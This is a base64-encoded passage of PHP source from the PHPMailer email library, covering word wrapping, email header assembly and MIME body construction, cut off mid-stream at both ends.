AgICAgICAgICAgICAgIC8vIENoZWNrIHRoZSBlbmNvZGVkIGJ5dGUgdmFsdWUgKHRoZSAyIGNoYXJzIGFmdGVyIHRoZSAnPScpCiAgICAgICAgICAgICAgICAkaGV4ID0gc3Vic3RyKCRlbmNvZGVkVGV4dCwgJG1heExlbmd0aCAtICRsb29rQmFjayArICRlbmNvZGVkQ2hhclBvcyArIDEsIDIpOwogICAgICAgICAgICAgICAgJGRlYyA9IGhleGRlYygkaGV4KTsKICAgICAgICAgICAgICAgIGlmICgkZGVjIDwgMTI4KSB7CiAgICAgICAgICAgICAgICAgICAgLy8gU2luZ2xlIGJ5dGUgY2hhcmFjdGVyLgogICAgICAgICAgICAgICAgICAgIC8vIElmIHRoZSBlbmNvZGVkIGNoYXIgd2FzIGZvdW5kIGF0IHBvcyAwLCBpdCB3aWxsIGZpdAogICAgICAgICAgICAgICAgICAgIC8vIG90aGVyd2lzZSByZWR1Y2UgbWF4TGVuZ3RoIHRvIHN0YXJ0IG9mIHRoZSBlbmNvZGVkIGNoYXIKICAgICAgICAgICAgICAgICAgICBpZiAoJGVuY29kZWRDaGFyUG9zID4gMCkgewogICAgICAgICAgICAgICAgICAgICAgICAkbWF4TGVuZ3RoID0gJG1heExlbmd0aCAtICgkbG9va0JhY2sgLSAkZW5jb2RlZENoYXJQb3MpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkZm91bmRTcGxpdFBvcyA9IHRydWU7CiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJGRlYyA+PSAxOTIpIHsKICAgICAgICAgICAgICAgICAgICAvLyBGaXJzdCBieXRlIG9mIGEgbXVsdGkgYnl0ZSBjaGFyYWN0ZXIKICAgICAgICAgICAgICAgICAgICAvLyBSZWR1Y2UgbWF4TGVuZ3RoIHRvIHNwbGl0IGF0IHN0YXJ0IG9mIGNoYXJhY3RlcgogICAgICAgICAgICAgICAgICAgICRtYXhMZW5ndGggPSAkbWF4TGVuZ3RoIC0gKCRsb29rQmFjayAtICRlbmNvZGVkQ2hhclBvcyk7CiAgICAgICAgICAgICAgICAgICAgJGZvdW5kU3BsaXRQb3MgPSB0cnVlOwogICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRkZWMgPCAxOTIpIHsKICAgICAgICAgICAgICAgICAgICAvLyBNaWRkbGUgYnl0ZSBvZiBhIG11bHRpIGJ5dGUgY2hhcmFjdGVyLCBsb29rIGZ1cnRoZXIgYmFjawogICAgICAgICAgICAgICAgICAgICRsb29rQmFjayArPSAzOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgLy8gTm8gZW5jb2RlZCBjaGFyYWN0ZXIgZm91bmQKICAgICAgICAgICAgICAgICRmb3VuZFNwbGl0UG9zID0gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gJG1heExlbmd0aDsKICAgIH0KCiAgICAvKioKICAgICAqIEFwcGx5IHdvcmQgd3JhcHBpbmcgdG8gdGhlIG1lc3NhZ2UgYm9keS4KICAgICAqIFdyYXBzIHRoZSBtZXNzYWdlIGJvZHkgdG8gdGhlIG51bWJlciBvZiBjaGFycyBzZXQgaW4gdGhlIFdvcmRXcmFwIHByb3BlcnR5LgogICAgICogWW91IHNob3VsZCBvbmx5IGRvIHRoaXMgdG8gcGxhaW4tdGV4dCBib2RpZXMgYXMgd3JhcHBpbmcgSFRNTCB0YWdzIG1heSBicmVhayB0aGVtLgogICAgICogVGhpcyBpcyBjYWxsZWQgYXV0b21hdGljYWxseSBieSBjcmVhdGVCb2R5KCksIHNvIHlvdSBkb24ndCBuZWVkIHRvIGNhbGwgaXQgeW91cnNlbGYuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzZXRXb3JkV3JhcCgpCiAgICB7CiAgICAgICAgaWYgKCR0aGlzLT5Xb3JkV3JhcCA8IDEpIHsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KCiAgICAgICAgc3dpdGNoICgkdGhpcy0+bWVzc2FnZV90eXBlKSB7CiAgICAgICAgICAgIGNhc2UgJ2FsdCc6CiAgICAgICAgICAgIGNhc2UgJ2FsdF9pbmxpbmUnOgogICAgICAgICAgICBjYXNlICdhbHRfYXR0YWNoJzoKICAgICAgICAgICAgY2FzZSAnYWx0X2lubGluZV9hdHRhY2gnOgogICAgICAgICAgICAgICAgJHRoaXMtPkFsdEJvZHkgPSAkdGhpcy0+d3JhcFRleHQoJHRoaXMtPkFsdEJvZHksICR0aGlzLT5Xb3JkV3JhcCk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICR0aGlzLT5Cb2R5ID0gJHRoaXMtPndyYXBUZXh0KCR0aGlzLT5Cb2R5LCAkdGhpcy0+V29yZFdyYXApOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogQXNzZW1ibGUgbWVzc2FnZSBoZWFkZXJzLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gc3RyaW5nIFRoZSBhc3NlbWJsZWQgaGVhZGVycwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gY3JlYXRlSGVhZGVyKCkKICAgIHsKICAgICAgICAkcmVzdWx0ID0gJyc7CgogICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0RhdGUnLCAkdGhpcy0+TWVzc2FnZURhdGUgPT0gJycgPyBzZWxmOjpyZmNEYXRlKCkgOiAkdGhpcy0+TWVzc2FnZURhdGUpOwoKICAgICAgICAvLyBUbyBiZSBjcmVhdGVkIGF1dG9tYXRpY2FsbHkgYnkgbWFpbCgpCiAgICAgICAgaWYgKCR0aGlzLT5TaW5nbGVUbykgewogICAgICAgICAgICBpZiAoJHRoaXMtPk1haWxlciAhPSAnbWFpbCcpIHsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCR0aGlzLT50byBhcyAkdG9hZGRyKSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlNpbmdsZVRvQXJyYXlbXSA9ICR0aGlzLT5hZGRyRm9ybWF0KCR0b2FkZHIpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaWYgKGNvdW50KCR0aGlzLT50bykgPiAwKSB7CiAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPk1haWxlciAhPSAnbWFpbCcpIHsKICAgICAgICAgICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5hZGRyQXBwZW5kKCdUbycsICR0aGlzLT50byk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZWlmIChjb3VudCgkdGhpcy0+Y2MpID09IDApIHsKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ1RvJywgJ3VuZGlzY2xvc2VkLXJlY2lwaWVudHM6OycpOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5hZGRyQXBwZW5kKCdGcm9tJywgYXJyYXkoYXJyYXkodHJpbSgkdGhpcy0+RnJvbSksICR0aGlzLT5Gcm9tTmFtZSkpKTsKCiAgICAgICAgLy8gc2VuZG1haWwgYW5kIG1haWwoKSBleHRyYWN0IENjIGZyb20gdGhlIGhlYWRlciBiZWZvcmUgc2VuZGluZwogICAgICAgIGlmIChjb3VudCgkdGhpcy0+Y2MpID4gMCkgewogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5hZGRyQXBwZW5kKCdDYycsICR0aGlzLT5jYyk7CiAgICAgICAgfQoKICAgICAgICAvLyBzZW5kbWFpbCBhbmQgbWFpbCgpIGV4dHJhY3QgQmNjIGZyb20gdGhlIGhlYWRlciBiZWZvcmUgc2VuZGluZwogICAgICAgIGlmICgoCiAgICAgICAgICAgICAgICAkdGhpcy0+TWFpbGVyID09ICdzZW5kbWFpbCcgb3IgJHRoaXMtPk1haWxlciA9PSAncW1haWwnIG9yICR0aGlzLT5NYWlsZXIgPT0gJ21haWwnCiAgICAgICAgICAgICkKICAgICAgICAgICAgYW5kIGNvdW50KCR0aGlzLT5iY2MpID4gMAogICAgICAgICkgewogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5hZGRyQXBwZW5kKCdCY2MnLCAkdGhpcy0+YmNjKTsKICAgICAgICB9CgogICAgICAgIGlmIChjb3VudCgkdGhpcy0+UmVwbHlUbykgPiAwKSB7CiAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmFkZHJBcHBlbmQoJ1JlcGx5LVRvJywgJHRoaXMtPlJlcGx5VG8pOwogICAgICAgIH0KCiAgICAgICAgLy8gbWFpbCgpIHNldHMgdGhlIHN1YmplY3QgaXRzZWxmCiAgICAgICAgaWYgKCR0aGlzLT5NYWlsZXIgIT0gJ21haWwnKSB7CiAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ1N1YmplY3QnLCAkdGhpcy0+ZW5jb2RlSGVhZGVyKCR0aGlzLT5zZWN1cmVIZWFkZXIoJHRoaXMtPlN1YmplY3QpKSk7CiAgICAgICAgfQoKICAgICAgICAvLyBPbmx5IGFsbG93IGEgY3VzdG9tIG1lc3NhZ2UgSUQgaWYgaXQgY29uZm9ybXMgdG8gUkZDIDUzMjIgc2VjdGlvbiAzLjYuNAogICAgICAgIC8vIGh0dHBzOi8vdG9vbHMuaWV0Zi5vcmcvaHRtbC9yZmM1MzIyI3NlY3Rpb24tMy42LjQKICAgICAgICBpZiAoJycgIT0gJHRoaXMtPk1lc3NhZ2VJRCBhbmQgcHJlZ19tYXRjaCgnL148LipALio+JC8nLCAkdGhpcy0+TWVzc2FnZUlEKSkgewogICAgICAgICAgICAkdGhpcy0+bGFzdE1lc3NhZ2VJRCA9ICR0aGlzLT5NZXNzYWdlSUQ7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHRoaXMtPmxhc3RNZXNzYWdlSUQgPSBzcHJpbnRmKCc8JXNAJXM+JywgJHRoaXMtPnVuaXF1ZWlkLCAkdGhpcy0+c2VydmVySG9zdG5hbWUoKSk7CiAgICAgICAgfQogICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ01lc3NhZ2UtSUQnLCAkdGhpcy0+bGFzdE1lc3NhZ2VJRCk7CiAgICAgICAgaWYgKCFpc19udWxsKCR0aGlzLT5Qcmlvcml0eSkpIHsKICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+aGVhZGVyTGluZSgnWC1Qcmlvcml0eScsICR0aGlzLT5Qcmlvcml0eSk7CiAgICAgICAgfQogICAgICAgIGlmICgkdGhpcy0+WE1haWxlciA9PSAnJykgewogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5oZWFkZXJMaW5lKAogICAgICAgICAgICAgICAgJ1gtTWFpbGVyJywKICAgICAgICAgICAgICAgICdQSFBNYWlsZXIgJyAuICR0aGlzLT5WZXJzaW9uIC4gJyAoaHR0cHM6Ly9naXRodWIuY29tL1BIUE1haWxlci9QSFBNYWlsZXIpJwogICAgICAgICAgICApOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRteVhtYWlsZXIgPSB0cmltKCR0aGlzLT5YTWFpbGVyKTsKICAgICAgICAgICAgaWYgKCRteVhtYWlsZXIpIHsKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ1gtTWFpbGVyJywgJG15WG1haWxlcik7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIGlmICgkdGhpcy0+Q29uZmlybVJlYWRpbmdUbyAhPSAnJykgewogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdEaXNwb3NpdGlvbi1Ob3RpZmljYXRpb24tVG8nLCAnPCcgLiAkdGhpcy0+Q29uZmlybVJlYWRpbmdUbyAuICc+Jyk7CiAgICAgICAgfQoKICAgICAgICAvLyBBZGQgY3VzdG9tIGhlYWRlcnMKICAgICAgICBmb3JlYWNoICgkdGhpcy0+Q3VzdG9tSGVhZGVyIGFzICRoZWFkZXIpIHsKICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+aGVhZGVyTGluZSgKICAgICAgICAgICAgICAgIHRyaW0oJGhlYWRlclswXSksCiAgICAgICAgICAgICAgICAkdGhpcy0+ZW5jb2RlSGVhZGVyKHRyaW0oJGhlYWRlclsxXSkpCiAgICAgICAgICAgICk7CiAgICAgICAgfQogICAgICAgIGlmICghJHRoaXMtPnNpZ25fa2V5X2ZpbGUpIHsKICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+aGVhZGVyTGluZSgnTUlNRS1WZXJzaW9uJywgJzEuMCcpOwogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5nZXRNYWlsTUlNRSgpOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuICRyZXN1bHQ7CiAgICB9CgogICAgLyoqCiAgICAgKiBHZXQgdGhlIG1lc3NhZ2UgTUlNRSB0eXBlIGhlYWRlcnMuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGdldE1haWxNSU1FKCkKICAgIHsKICAgICAgICAkcmVzdWx0ID0gJyc7CiAgICAgICAgJGlzbXVsdGlwYXJ0ID0gdHJ1ZTsKICAgICAgICBzd2l0Y2ggKCR0aGlzLT5tZXNzYWdlX3R5cGUpIHsKICAgICAgICAgICAgY2FzZSAnaW5saW5lJzoKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHlwZScsICdtdWx0aXBhcnQvcmVsYXRlZDsnKTsKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPnRleHRMaW5lKCJcdGJvdW5kYXJ5PVwiIiAuICR0aGlzLT5ib3VuZGFyeVsxXSAuICciJyk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnYXR0YWNoJzoKICAgICAgICAgICAgY2FzZSAnaW5saW5lX2F0dGFjaCc6CiAgICAgICAgICAgIGNhc2UgJ2FsdF9hdHRhY2gnOgogICAgICAgICAgICBjYXNlICdhbHRfaW5saW5lX2F0dGFjaCc6CiAgICAgICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdDb250ZW50LVR5cGUnLCAnbXVsdGlwYXJ0L21peGVkOycpOwogICAgICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+dGV4dExpbmUoIlx0Ym91bmRhcnk9XCIiIC4gJHRoaXMtPmJvdW5kYXJ5WzFdIC4gJyInKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdhbHQnOgogICAgICAgICAgICBjYXNlICdhbHRfaW5saW5lJzoKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHlwZScsICdtdWx0aXBhcnQvYWx0ZXJuYXRpdmU7Jyk7CiAgICAgICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT50ZXh0TGluZSgiXHRib3VuZGFyeT1cIiIgLiAkdGhpcy0+Ym91bmRhcnlbMV0gLiAnIicpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgICAgICAvLyBDYXRjaGVzIGNhc2UgJ3BsYWluJzogYW5kIGNhc2UgJyc6CiAgICAgICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT50ZXh0TGluZSgnQ29udGVudC1UeXBlOiAnIC4gJHRoaXMtPkNvbnRlbnRUeXBlIC4gJzsgY2hhcnNldD0nIC4gJHRoaXMtPkNoYXJTZXQpOwogICAgICAgICAgICAgICAgJGlzbXVsdGlwYXJ0ID0gZmFsc2U7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICAgICAgLy8gUkZDMTM0MSBwYXJ0IDUgc2F5cyA3Yml0IGlzIGFzc3VtZWQgaWYgbm90IHNwZWNpZmllZAogICAgICAgIGlmICgkdGhpcy0+RW5jb2RpbmcgIT0gJzdiaXQnKSB7CiAgICAgICAgICAgIC8vIFJGQyAyMDQ1IHNlY3Rpb24gNi40IHNheXMgbXVsdGlwYXJ0IE1JTUUgcGFydHMgbWF5IG9ubHkgdXNlIDdiaXQsIDhiaXQgb3IgYmluYXJ5IENURQogICAgICAgICAgICBpZiAoJGlzbXVsdGlwYXJ0KSB7CiAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPkVuY29kaW5nID09ICc4Yml0JykgewogICAgICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2RpbmcnLCAnOGJpdCcpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgLy8gVGhlIG9ubHkgcmVtYWluaW5nIGFsdGVybmF0aXZlcyBhcmUgcXVvdGVkLXByaW50YWJsZSBhbmQgYmFzZTY0LCB3aGljaCBhcmUgYm90aCA3Yml0IGNvbXBhdGlibGUKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2RpbmcnLCAkdGhpcy0+RW5jb2RpbmcpOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZiAoJHRoaXMtPk1haWxlciAhPSAnbWFpbCcpIHsKICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+TEU7CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0KCiAgICAvKioKICAgICAqIFJldHVybnMgdGhlIHdob2xlIE1JTUUgbWVzc2FnZS4KICAgICAqIEluY2x1ZGVzIGNvbXBsZXRlIGhlYWRlcnMgYW5kIGJvZHkuCiAgICAgKiBPbmx5IHZhbGlkIHBvc3QgcHJlU2VuZCgpLgogICAgICogQHNlZSBQSFBNYWlsZXI6OnByZVNlbmQoKQogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRTZW50TUlNRU1lc3NhZ2UoKQogICAgewogICAgICAgIHJldHVybiBydHJpbSgkdGhpcy0+TUlNRUhlYWRlciAuICR0aGlzLT5tYWlsSGVhZGVyLCAiXG5cciIpIC4gc2VsZjo6Q1JMRiAuIHNlbGY6OkNSTEYgLiAkdGhpcy0+TUlNRUJvZHk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDcmVhdGUgdW5pcXVlIElECiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gZ2VuZXJhdGVJZCgpIHsKICAgICAgICByZXR1cm4gbWQ1KHVuaXFpZCh0aW1lKCkpKTsKICAgIH0KCiAgICAvKioKICAgICAqIEFzc2VtYmxlIHRoZSBtZXNzYWdlIGJvZHkuCiAgICAgKiBSZXR1cm5zIGFuIGVtcHR5IHN0cmluZyBvbiBmYWlsdXJlLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAcmV0dXJuIHN0cmluZyBUaGUgYXNzZW1ibGVkIG1lc3NhZ2UgYm9keQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gY3JlYXRlQm9keSgpCiAgICB7CiAgICAgICAgJGJvZHkgPSAnJzsKICAgICAgICAvL0NyZWF0ZSB1bmlxdWUgSURzIGFuZCBwcmVzZXQgYm91bmRhcmllcwogICAgICAgICR0aGlzLT51bmlxdWVpZCA9ICR0aGlzLT5nZW5lcmF0ZUlkKCk7CiAgICAgICAgJHRoaXMtPmJvdW5kYXJ5WzFdID0gJ2IxXycgLiAkdGhpcy0+dW5pcXVlaWQ7CiAgICAgICAgJHRoaXMtPmJvdW5kYXJ5WzJdID0gJ2IyXycgLiAkdGhpcy0+dW5pcXVlaWQ7CiAgICAgICAgJHRoaXMtPmJvdW5kYXJ5WzNdID0gJ2IzXycgLiAkdGhpcy0+dW5pcXVlaWQ7CgogICAgICAgIGlmICgkdGhpcy0+c2lnbl9rZXlfZmlsZSkgewogICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+Z2V0TWFpbE1JTUUoKSAuICR0aGlzLT5MRTsKICAgICAgICB9CgogICAgICAgICR0aGlzLT5zZXRXb3JkV3JhcCgpOwoKICAgICAgICAkYm9keUVuY29kaW5nID0gJHRoaXMtPkVuY29kaW5nOwogICAgICAgICRib2R5Q2hhclNldCA9ICR0aGlzLT5DaGFyU2V0OwogICAgICAgIC8vQ2FuIHdlIGRvIGEgNy1iaXQgZG93bmdyYWRlPwogICAgICAgIGlmICgkYm9keUVuY29kaW5nID09ICc4Yml0JyBhbmQgISR0aGlzLT5oYXM4Yml0Q2hhcnMoJHRoaXMtPkJvZHkpKSB7CiAgICAgICAgICAgICRib2R5RW5jb2RpbmcgPSAnN2JpdCc7CiAgICAgICAgICAgIC8vQWxsIElTTyA4ODU5LCBXaW5kb3dzIGNvZGVwYWdlIGFuZCBVVEYtOCBjaGFyc2V0cyBhcmUgYXNjaWkgY29tcGF0aWJsZSB1cCB0byA3LWJpdAogICAgICAgICAgICAkYm9keUNoYXJTZXQgPSAndXMtYXNjaWknOwogICAgICAgIH0KICAgICAgICAvL0lmIGxpbmVzIGFyZSB0b28gbG9uZywgYW5kIHdlJ3JlIG5vdCBhbHJlYWR5IHVzaW5nIGFuIGVuY29kaW5nIHRoYXQgd2lsbCBzaG9ydGVuIHRoZW0sCiAgICAgICAgLy9jaGFuZ2UgdG8gcXVvdGVkLXByaW50YWJsZSB0cmFuc2ZlciBlbmNvZGluZyBmb3IgdGhlIGJvZHkgcGFydCBvbmx5CiAgICAgICAgaWYgKCdiYXNlNjQnICE9ICR0aGlzLT5FbmNvZGluZyBhbmQgc2VsZjo6aGFzTGluZUxvbmdlclRoYW5NYXgoJHRoaXMtPkJvZHkpKSB7CiAgICAgICAgICAgICRib2R5RW5jb2RpbmcgPSAncXVvdGVkLXByaW50YWJsZSc7CiAgICAgICAgfQoKICAgICAgICAkYWx0Qm9keUVuY29kaW5nID0gJHRoaXMtPkVuY29kaW5nOwogICAgICAgICRhbHRCb2R5Q2hhclNldCA9ICR0aGlzLT5DaGFyU2V0OwogICAgICAgIC8vQ2FuIHdlIGRvIGEgNy1iaXQgZG93bmdyYWRlPwogICAgICAgIGlmICgkYWx0Qm9keUVuY29kaW5nID09ICc4Yml0JyBhbmQgISR0aGlzLT5oYXM4Yml0Q2hhcnMoJHRoaXMtPkFsdEJvZHkpKSB7CiAgICAgICAgICAgICRhbHRCb2R5RW5jb2RpbmcgPSAnN2JpdCc7CiAgICAgICAgICAgIC8vQWxsIElTTyA4ODU5LCBXaW5kb3dzIGNvZGVwYWdlIGFuZCBVVEYtOCBjaGFyc2V0cyBhcmUgYXNjaWkgY29tcGF0aWJsZSB1cCB0byA3LWJpdAogICAgICAgICAgICAkYWx0Qm9keUNoYXJTZXQgPSAndXMtYXNjaWknOwogICAgICAgIH0KICAgICAgICAvL0lmIGxpbmVzIGFyZSB0b28gbG9uZywgYW5kIHdlJ3JlIG5vdCBhbHJlYWR5IHVzaW5nIGFuIGVuY29kaW5nIHRoYXQgd2lsbCBzaG9ydGVuIHRoZW0sCiAgICAgICAgLy9jaGFuZ2UgdG8gcXVvdGVkLXByaW50YWJsZSB0cmFuc2ZlciBlbmNvZGluZyBmb3IgdGhlIGFsdCBib2R5IHBhcnQgb25seQogICAgICAgIGlmICgnYmFzZTY0JyAhPSAkYWx0Qm9keUVuY29kaW5nIGFuZCBzZWxmOjpoYXNMaW5lTG9uZ2VyVGhhbk1heCgkdGhpcy0+QWx0Qm9keSkpIHsKICAgICAgICAgICAgJGFsdEJvZHlFbmNvZGluZyA9ICdxdW90ZWQtcHJpbnRhYmxlJzsKICAgICAgICB9CiAgICAgICAgLy9Vc2UgdGhpcyBhcyBhIHByZWFtYmxlIGluIGFsbCBtdWx0aXBhcnQgbWVzc2FnZSB0eXBlcwogICAgICAgICRtaW1lcHJlID0gIlRoaXMgaXMgYSBtdWx0aS1wYXJ0IG1lc3NhZ2UgaW4gTUlNRSBmb3JtYXQuIiAuICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICBzd2l0Y2ggKCR0aGlzLT5tZXNzYWdlX3R5cGUpIHsKICAgICAgICAgICAgY2FzZSAnaW5saW5lJzoKICAgICAgICAgICAgICAgICRib2R5IC49ICRtaW1lcHJlOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSwgJGJvZHlDaGFyU2V0LCAnJywgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkYm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2lubGluZScsICR0aGlzLT5ib3VuZGFyeVsxXSk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnYXR0YWNoJzoKICAgICAgICAgICAgICAgICRib2R5IC49ICRtaW1lcHJlOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSwgJGJvZHlDaGFyU2V0LCAnJywgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkYm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2F0dGFjaG1lbnQnLCAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2lubGluZV9hdHRhY2gnOgogICAgICAgICAgICAgICAgJGJvZHkgLj0gJG1pbWVwcmU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+dGV4dExpbmUoJy0tJyAuICR0aGlzLT5ib3VuZGFyeVsxXSk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+aGVhZGVyTGluZSgnQ29udGVudC1UeXBlJywgJ211bHRpcGFydC9yZWxhdGVkOycpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPnRleHRMaW5lKCJcdGJvdW5kYXJ5PVwiIiAuICR0aGlzLT5ib3VuZGFyeVsyXSAuICciJyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+Z2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzJdLCAkYm9keUNoYXJTZXQsICcnLCAkYm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkJvZHksICRib2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmF0dGFjaEFsbCgnaW5saW5lJywgJHRoaXMtPmJvdW5kYXJ5WzJdKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2F0dGFjaG1lbnQnLCAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2FsdCc6CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkbWltZXByZTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMV0sICRhbHRCb2R5Q2hhclNldCwgJ3RleHQvcGxhaW4nLCAkYWx0Qm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkFsdEJvZHksICRhbHRCb2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSwgJGJvZHlDaGFyU2V0LCAndGV